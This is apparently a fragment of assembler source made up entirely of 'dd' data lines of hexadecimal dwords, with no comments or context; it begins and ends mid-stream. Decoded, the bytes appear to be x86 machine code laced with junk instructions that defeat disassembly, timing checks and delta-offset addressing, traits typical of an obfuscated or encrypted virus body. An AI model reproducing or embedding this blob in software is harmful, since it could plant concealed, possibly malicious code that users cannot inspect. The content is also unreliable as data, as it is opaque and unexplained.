8501F193h, 607128Dh, 0B595895Bh, 2B060710h, 0BD0B51C3h dd 6070BF9h, 8343D5Eh, 860F0000h, 37h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 75C35545h, 1FF75A98h, 49BD29C7h dd 0BE060705h, 0F912304h, 1FE9h, 61B58B00h, 8B06072Bh dd 8C0F50C0h, 5, 0A8F78166h, 80605F41h, 0D6B97FCFh, 61350D69h dd 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 3BC35040h, 0F98B66EEh, 10B985C7h, 0F9DF0607h, 0F550575Dh dd 6AC08B5Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F9AFC357h, 1225B529h, 0BD810607h dd 6072C15h, 7D0h, 37850Fh, 0BD230000h, 6071DCDh, 2C1585FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 4E6944C3h, 88E767C3h, 8B563DF7h, 715EDB5h dd 15B5FF06h, 6A06072Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0D67FC351h, 512657CDh dd 1F85BD8Bh, 95FF0607h, 60716B5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0BAC35242h, 415C5A07h, 8B028567h dd 70C05B5h, 6A409006h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 2CCEC356h, 92EBDB8Bh dd 2CF9B58Bh, 0BD830607h, 6073129h, 0E840F00h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0D937C352h, 3F19D413h, 3DBE66BDh, 6DBD8334h dd 60712h, 0DB840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 771DB2C3h, 30658D89h dd 95FF0607h, 6073129h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 52C35545h, 0A05B7932h, 60DF8355h, 1B91852Bh dd 81660607h, 6159E5C7h, 0BE8h, 57B10300h, 23ABB93Ah, 0E267D870h dd 810Fh, 0B5F0000h, 62840FC0h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 66CCC357h dd 20D2F781h, 4E1C8D8Dh, 8D890607h, 6070E39h, 5B8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 83B40A86h, 89ACD66Ch, 707CD95h, 81E1FF06h, 0E12B6FCFh dd 0D5BD832Fh, 60715h, 56C840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0E4BF9C3h dd 169E4336h, 0F9BD2920h, 83060700h, 7126DBDh, 840F0006h dd 536h, 5E9h, 625BD300h, 8D8DCD55h, 6073215h, 9E9h, 0BB285800h dd 35467DAh, 1C7331Fh, 44B27C84h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0E8C35646h, 0CFCB0181h, 6A1499h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 784F04C3h, 6C58589h, 31600607h, 7315585h, 0FBE6606h dd 41C7618Ah, 706B3404h, 51006ACEh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 39621781h, 0AD28DA12h dd 10044181h, 6A31D6D7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0F346C351h, 0B1D146F2h dd 0F81FABD5h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 32E673C3h, 918FCA5h, 0B71B52Bh dd 0BD310607h, 6070BA9h, 3215858Dh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DEAB2EC3h dd 52C1EE25h, 9D7E8DAh, 7275985h, 0F509006h, 128Dh, 50525000h dd 5A310F52h, 0F310F58h, 87h, 90585A00h, 8BFFBF0Fh, 72221BDh dd 0D595FF06h, 66060715h, 89E6AABFh, 7281DB5h, 158D8D06h dd 31060732h, 73079B5h, 1C706h, 0F000000h, 41C7F7BFh, 4 dd 61858900h, 0B06070Bh, 19840FC0h, 0F000000h, 8D8DF3BFh dd 6074E1Ch, 0A9B50951h, 5E060732h, 5B8h, 0F5E1FF00h, 32158D8Dh dd 81660607h, 0FC5335C6h, 727C01C7h, 6A44AAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 4EDB1C3h dd 0B5EA6750h, 0CB01815Ah, 661499CFh, 0C76D9DBFh, 753C0441h dd 8589CE78h, 6071D4Dh, 1269B589h, 41810607h, 0D6D71004h dd 52006A31h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 3792C7B5h, 3870C3B1h, 6A0229h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F6C35242h, 57C56BF2h dd 8D90E3EEh, 7321585h, 0DE816606h, 50507717h, 0F28B6652h dd 4895E5Fh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0F2CA0ED7h, 95FF13D7h, 60715D5h dd 91BD0953h, 5E060700h, 32158D8Dh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5D5572C3h dd 12E969h, 77070000h, 0ECC34DF5h, 441BA4E0h, 25BFF389h dd 823D0BB5h, 1C7h, 0B58B0000h, 6072751h, 441C7h, 1000000h dd 70DC1BDh, 0FC00B06h, 5E84h, 0CECE8100h, 0BE5D6659h dd 6465F40Dh, 4E1C8D8Dh, 12E80607h, 0BE000000h, 0A95EA584h dd 583E46C9h, 2A857FC2h, 7A10B225h, 0B85EF883h, 5, 3890F60h dd 80000000h, 0FF6174CDh, 57006AE1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8BCF8107h dd 8D2F5FC1h, 732158Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0A501C742h, 154CA95h dd 71D198Dh, 0CB018106h, 6A1499CFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 87DBC355h dd 81666EC3h, 0C75B57C6h, 59690441h, 6ACE5Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B211FC3h dd 707ADBDh, 81FB8B06h, 0D7100441h, 858931D6h, 6073255h dd 858D006Ah, 6073215h, 0FFD78157h, 5F29B9DFh, 7BEB8060h dd 5F5B5250h, 8B525061h, 4895EF7h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0C502B502h dd 15D595FFh, 0B70F0607h, 158D8DFAh, 6A060732h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0C56DC356h, 0D4F6B339h, 36B4CF52h, 6E9h, 936FEA00h dd 66B4CB20h, 1C7FA8Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FEC35242h dd 0D080959Fh, 0AEF161D2h, 441C7FEh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 4DC35545h dd 0FC00B49h, 8584h, 0FABE6600h, 1C8D8DF5h, 6A06074Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0BFAFC350h, 1C4226AEh, 5B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 8C1E172Dh, 48A0F96h, 66000000h, 8B691BBFh, 72E31B5h dd 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0D1C0C356h, 0DC1B589h, 0CA030607h dd 0FFF22DE9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 29C7C2D0h, 29463D67h dd 705E185h, 29853106h, 8B060726h, 51006AC1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 81AB2DE8h dd 37EFBDEFh, 68C0F61h, 81000000h, 0F48857E7h, 4EB45h dd 89000000h, 70BB59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 9F6EF9FCh, 0AA5693C5h dd 58E0FE7h, 66000000h, 8CB3F781h, 785858Dh, 6A0607h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 1EC2B1C3h, 21598D29h, 0E8900607h, 12h, 0DFEF0F59h, 1524EB35h dd 3B12C076h, 845F16F7h, 505ECCF4h, 48F0Fh, 0BF660000h dd 6690B83Ah, 6A7A3CBFh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 6A006AA8h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7B6FC353h dd 3DD11Ah, 8DB78D99h, 0AD60485h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 33965505h dd 930DD417h, 0E9F6B70Fh, 5, 42058EDAh, 5C083DCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 0D1B53305h dd 90060715h, 13E8h, 0F2183F00h, 4A50710Dh, 71531DF6h dd 959EA0BEh, 0D1719CB9h, 0BCBF5250h, 0F42A57Ch, 5AF18B31h dd 50505F58h, 26A3BE52h, 310F0A76h, 0ED61BF66h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 9C4FC353h, 71B9A04Fh, 7DB58B24h, 6A06070Eh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 6A5F56A8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF39A1h dd 60704C1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 6CC35040h, 8DC2ACD6h, 0AA64F9Dh, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 8FDCF62Bh, 6AD3FF79h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 527AC350h, 30C52A25h dd 800Fh, 85FF0000h, 60732F1h, 21BDB529h, 4AE90607h, 0E8000008h dd 0 dd 0EED815Dh, 66060AD6h, 0BD81FE8Bh, 6072C15h, 7D0h, 18C860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 7DAE8EC3h, 5FAB9520h, 219D8BC3h, 6A060712h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 9401C351h, 0C4CEE3ECh, 0F4D7814Ch, 297868BBh dd 708A585h, 0E38106h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 50BBC352h dd 3362C4D4h, 70009B5h, 0FDB0B06h, 0B385h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 526206DAh, 0E7E68EFDh, 35EE8141h, 83215790h, 0AD3B9BDh dd 840F0006h, 49h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0BFC35141h, 9F3F39Dh, 0AEE8C76h, 0AD95316Ch dd 0E9060713h, 5Ah, 14E9h, 0F666CD00h, 83468421h, 21F04046h dd 2948013Eh, 0A588C572h, 0B985C79Ah, 1060AD3h, 66000000h dd 2FE9F38Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0E92EC353h, 0D7807252h dd 0D3B985C7h, 60Ah, 0BF660000h, 9D8DA9C1h, 6071221h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4AC35747h, 0D4FD301Fh dd 8E9D3h, 84A90000h, 0B9CA0F8Eh, 23811B1Bh, 0FFFFFEFFh dd 8E5BD09h, 8C660607h, 0A58D89DBh, 0F606071Fh, 840F04C3h dd 46h, 14AD8589h, 95FF0607h, 6071351h, 81F7BF0Fh, 0DFA789D6h dd 5050907Dh, 5B536052h, 0F61F58Ah, 5AF38B31h, 6A9058h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 6D92D5C3h, 0E9E9DEF6h, 0E8000003h, 5, 2F5DEBCCh, 0B05FF7h dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 663F1FC3h, 0E42F77BFh, 0E98D8971h, 0F060716h dd 0B1BED8B6h, 0BA24CEC8h, 6, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 49C35646h, 0F271A19h, 29B442EDh dd 7048985h, 6AC38B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 22ECC356h, 0D6518709h dd 10A5BD8Bh, 0E8C10607h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 72601325h dd 0DCB955F6h, 830F1B98h, 6, 1E85B58Bh, 0F7660607h, 0F6B70FE2h dd 0BE66D82Bh, 52509DF2h, 0FE960h, 3D6B0000h, 418C3FA2h dd 0A18E7B7h, 3DE6F416h, 0F52508Fh, 61585A31h, 241C895Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F0C35545h dd 0D425C6Dh, 1BD9BD23h, 0B5FF0607h, 6072C15h, 0FFF7B70Fh dd 716B595h, 29BD8B06h, 0B0060700h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0D8141773h dd 0AC600D7Bh, 0BF0F4424h, 6A70E6F9h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 88D2C352h dd 1CFD8509h, 71E40607h, 28618D89h, 613C0607h, 256830Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 89790CC3h, 709D1BDh, 9E806h, 0B5AF0000h dd 0DDFD9B8Dh, 0F9CA592h, 8Eh, 0B60F5E00h, 52006AD8h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0CF7E7F15h, 52064A80h, 8890Fh, 89530000h, 70BE985h dd 6BA5E06h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B00C357h, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0BE04A351h, 8B72845Dh, 71BB5BDh, 4E8C106h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 38C35747h, 0F2656B52h dd 0AD8D89F8h, 0F06071Ch, 68Fh, 198D2900h, 66060700h, 0D82BE2F7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6FC35747h dd 48DF0CC7h, 6A584D27h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 5878C355h, 0B58B602Ch dd 60727D1h, 0FD82B61h, 11388h, 1DB58B00h, 0B9060717h dd 7, 89F665BEh, 0C18306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 85C35545h, 0D72ADFDEh, 89D88BBBh, 70BB995h dd 0FD93B06h, 0CF86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 31EA0B4Ch, 9DBFDB2Fh dd 0D98C66F3h, 0FE8h, 3B1DCE00h, 8C03D348h, 0A4CA7045h dd 75E7CAC5h, 5EFE8B66h, 0F04C1F6h, 5684h, 7309BF00h, 95FF4ED5h dd 6071351h, 359B58Bh, 0BF660607h, 665BB0B6h, 81F6F681h dd 0BD23C32Bh, 6072E45h, 8343Dh, 28860F00h, 0F000000h dd 51E9F0B7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0C319C353h, 8B4A9158h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 41320ACCh, 1275159Dh, 68E0Fh, 9D310000h dd 607306Dh, 0D88BC38Bh, 1AC58D89h, 85C70607h, 6070DC5h dd 14DF1311h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0C4C35343h, 0F71A287h, 389h, 0FE8B6600h, 2353C08Bh dd 7252DBDh, 0BD8B5E06h, 6071511h, 2C15BD81h, 7D00607h dd 850F0000h, 56h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 14C35646h, 1D5EB118h, 0F80B2A8Bh, 0FE8B6647h dd 2C1585FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 67360AC3h, 6CF761A0h, 0D359D31h dd 0B5FF0607h, 6072C15h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 20C35646h, 44463F1Ch, 10ADB58Bh, 0B58B0607h dd 6070081h, 16B595FFh, 10E90607h, 4C000000h, 0C7ECF8CAh dd 0C78E2C23h, 2E645665h, 90B92CC4h, 8A18589h, 8D890607h dd 6070999h, 18E0Fh, 81F50000h, 0E809A6D6h, 57006A6Bh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0A88463F8h, 0B58B1179h, 60713E1h, 0B70FBF66h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8AC35646h, 0BCA26848h dd 75231EE4h, 0FDBD8BB0h, 6A06070Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 71A0C356h dd 28D0Fh, 0F78B0000h, 2D49BD89h, 0B5030607h, 6070245h dd 6AF2B70Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 5A11C350h, 6061B8C6h, 2E91B509h dd 10E80607h, 0F2000000h, 0DE7CC47Eh, 12F4A230h, 0A17F9C7h dd 669583EBh, 39D7DF81h, 0F5BFB8Bh, 68Eh, 91BD8B00h, 6106071Fh dd 8D89F98Bh, 60728B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h dd 14C35242h, 4A988565h, 0EE9h, 7A743B00h, 2BE7201Fh, 4ACC41F3h dd 8B3E63AAh, 70C59B5h, 0F7D5E906h, 2B60FFFFh, 71E49B5h dd 0E1958906h, 89060705h, 720A1B5h, 6E96106h, 0FD000000h dd 450C55DBh, 0BC18BF0h, 71D35B5h, 4EB06h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 281EC351h, 32AD9529h, 810F0607h, 0Bh, 5890Fh, 0A8BF0000h dd 8D710C3Ah, 7078585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0B23FE872h, 89583492h dd 731D995h, 52509006h, 310F5F57h, 585AF98Bh, 905F5050h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7AC35141h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 552200C3h, 11890Fh, 5E80000h, 0E9000000h dd 9765BE5Ch, 8B0Fh, 6A5F0000h, 5820F00h, 66000000h, 7AB4CE81h dd 0E04A858Dh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0C781D8C3h, 472CFD1Dh, 5005C083h dd 11850Fh, 0BE80000h, 0FF000000h, 0F8407E56h, 6AEEACA2h dd 895F46B7h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 65698DC3h, 66FFC2D8h, 1C01E681h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0F68981C3h, 48BD17D2h, 1958995h, 6A060731h dd 859D8900h, 0FF060731h, 704C195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 3522A0D2h dd 9D8DB1D0h, 60AA64Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 1C35242h, 0A9A09F63h, 0BED3FF6Bh, 27E77746h dd 85FFFB8Bh, 60732F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0A1C35747h, 7F8E9h, 0E800h, 815D0000h dd 0AE054EDh, 12E906h, 0D010000h, 153E4D7Eh, 764FC208h dd 444F80BAh, 0B50B4DCDh, 2C15BD81h, 7D00607h, 860F0000h dd 131h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 71C35040h, 873EAF77h, 807C064Ch, 118B0Fh, 0CE90000h dd 2A000000h, 61AA80EFh, 0C1C05B59h, 8B3497ACh, 712AD9Dh dd 0F98B6606h, 100E381h, 12E80000h, 72000000h, 55BF63E1h dd 4F525438h, 3EB2F386h, 1EF29B2Ch, 0CDBD89E1h, 5E06071Ah dd 850FDB0Bh, 64h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 5BC35646h, 0BE98583h, 0C8000000h, 0CB1B49D7h dd 1A2861h, 95894E9Ch, 6071071h, 0DE5DBD83h, 0F00060Ah dd 0B84h, 8D78100h, 0E9217535h, 54h, 0DE5D85C7h, 1060Ah dd 0BF0F0000h, 0F18D31FBh, 0E906071Bh, 3Ch, 0DE5D85C7h dd 60Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8B5455C3h, 70D91BDh, 0AE906h, 501D0000h dd 39277426h, 7180FCEDh, 12AD9D8Dh, 0AE90607h, 61000000h dd 123514B2h, 9097385Eh, 0FF238158h, 8BFFFFFEh, 70891B5h dd 0DB8C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 49C35242h, 66FE8FCBh, 0F9AECFBEh, 0F04C3F6h, 5F84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0C4242C21h, 10E832h, 60370000h, 9F78A576h dd 67473E6Fh, 9BAAD27Bh, 8B663F40h, 95FF5FF7h, 6071351h dd 1D35BD8Bh, 50900607h, 5840Fh, 0B6BF0000h, 9016D3FEh dd 6880Fh, 0BD310000h, 60704C9h, 432E9h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 259F8E94h, 92F2C7D5h, 2C85B50Bh, 0B00607h, 0CE8h, 68F9DE00h dd 47F5913Dh, 33810964h, 5EF78B08h, 0A7A5E681h, 70E66CF8h dd 1D899589h, 71E40607h, 29D8B60Fh, 721BD8Dh, 6BA06h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 333C20C3h, 3F6DE5D5h, 8BFE8B66h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 68D0FB4h, 8B000000h dd 72709B5h, 4E8C106h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0FC35141h, 3DFC382Dh, 66ED015Dh, 1F2EF81h dd 8BE2F766h, 71D95B5h, 50D82B06h, 0A0C0BF66h, 6A241C89h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 3276C350h, 0D8AC7415h, 1B31BD8Bh, 0B5FF0607h dd 6072C15h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 85C35242h, 633BAEA4h, 0EC5E1E99h, 0B9BD8BEDh, 0FF060704h dd 716B595h, 6600B006h, 70E6F98Bh, 6A71E4h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 914758C3h dd 87BCB3BFh, 71B58BEAh, 6006072Bh, 68F0Fh, 9D890000h dd 6071729h, 0F613C61h, 2A283h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 1524EB35h dd 3B12C076h, 0BF0F16F7h, 7D8D09F8h, 0F06070Ah, 6AD8B6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0B3F74EC3h, 8B471274h, 6DB58BF4h, 89060709h, 70401BDh dd 6BA06h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 3B633DC3h, 840Fh, 0BD090000h, 6070699h dd 0BD8BC38Bh, 6071FF5h, 6A04E8C1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A915C351h dd 53158BB6h, 8D29E089h, 60713EDh, 306D9531h, 0F7660607h dd 6AD82BE2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 563FC355h, 8B083FBEh, 6A58F2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 11FB06C3h, 6003AB59h, 0B2C0B70Fh, 9E961B6h, 1D000000h dd 70C99B39h, 11350D0Eh, 880FD82Bh, 173h, 1F659589h, 7B90607h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0B4A5C355h, 0A88248D4h, 0B94DDF7h dd 7213DB5h, 0C18306h, 3BF88B66h, 30860FD9h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 609FC352h, 4DF9BD0Eh, 8C66667Fh, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 23B46A6Dh, 0E93B69CBh, 10h, 0D5BECC55h, 1DC80C42h, 6602745h dd 7BC9B448h, 0F04C1F6h, 0C784h, 0E820F00h, 0E9000000h dd 9, 0F815AE16h, 0B13B621h, 0EEEE81C3h, 0FF674468h, 7135195h dd 860F06h, 5B000000h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 56C35646h, 0BD8994C5h, 60727F1h, 6AC32Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0C209B7C3h, 8343D06h, 860F0000h dd 50h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h dd 9CC35646h, 32E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0C1C8B022h, 5E9h, 0F0AAF900h dd 0B501436Bh, 6070CA5h, 8BF8C08Bh, 0E9D88BC3h, 13h, 0D5874DF1h dd 9C092921h, 6AF1E5E1h, 1BA806C0h, 0C7F4DE18h, 7122185h dd 8675F906h, 0DBC78137h, 8B3FD023h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 127AC955h dd 280BBEDDh, 0BD812B53h, 6072C15h, 7D0h, 16850Fh, 0BD8B0000h dd 6070589h, 2D53EE81h, 85FF57A3h, 6072C15h, 9C29BE66h dd 2C15B5FFh, 0FFF90607h, 716B595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0C35979A0h dd 8C0FF618h, 6, 248DBD8Bh, 6A900607h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 9F1CC351h dd 13E8E3h, 0C1140000h, 0ABEB52B8h, 0BA4C5BA5h, 0CA17B91Eh dd 5FD0C351h, 0E9BD8B9Eh, 5F06071Ah, 0B2DF8166h, 6820F23h dd 8B000000h, 71B49BDh, 85858906h, 0BE06071Bh, 44A77514h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 81C35141h dd 40EA5856h, 8166C1B4h, 66BF4DDFh, 8933D6BEh, 712DDB5h dd 0A1B58B06h, 0E9060727h, 0Ah, 0AB9FB2Eh, 557036FDh, 6AC953h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 1E9A51C3h, 40D8C399h, 1B58B52h, 0F060726h, 6AFEBFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 5C7557C3h, 0BF718Ah, 0E96BCAB0h, 10h, 6621085Ah, 943B7952h dd 0C67742EEh, 0EF143C73h, 0B29B58Bh, 12E90607h, 89FFFFF8h dd 72AC195h, 32BF6606h, 8BC18B2Ch, 70501BDh, 4EB06h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 765FC356h, 0B407040Ah, 59B58BCEh, 57060732h dd 6830Fh, 85890000h, 60721D1h, 0BDBF665Fh, 0BD8B51A5h dd 6070409h, 85858D5Fh, 81060707h, 3D8519C7h, 0FE8902Ah dd 0DC000000h, 0CAE837D3h, 4EDFE28Ch, 0F728B4D9h, 505E435Dh dd 9E8h, 2DCE2A00h, 0AD7D5D01h, 7E8DFE0h, 55000000h, 1915695Dh dd 8B66DE1Eh, 905F5EF9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0BBC35545h, 0B8182578h, 0B5893CF3h, 6073251h dd 2E85B58Bh, 6A0607h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 64C35646h, 287DB58Bh, 6A0607h, 0EE9h dd 9D210100h, 56892135h, 1AB71E10h, 2B850C15h, 71681B5h dd 30858D06h, 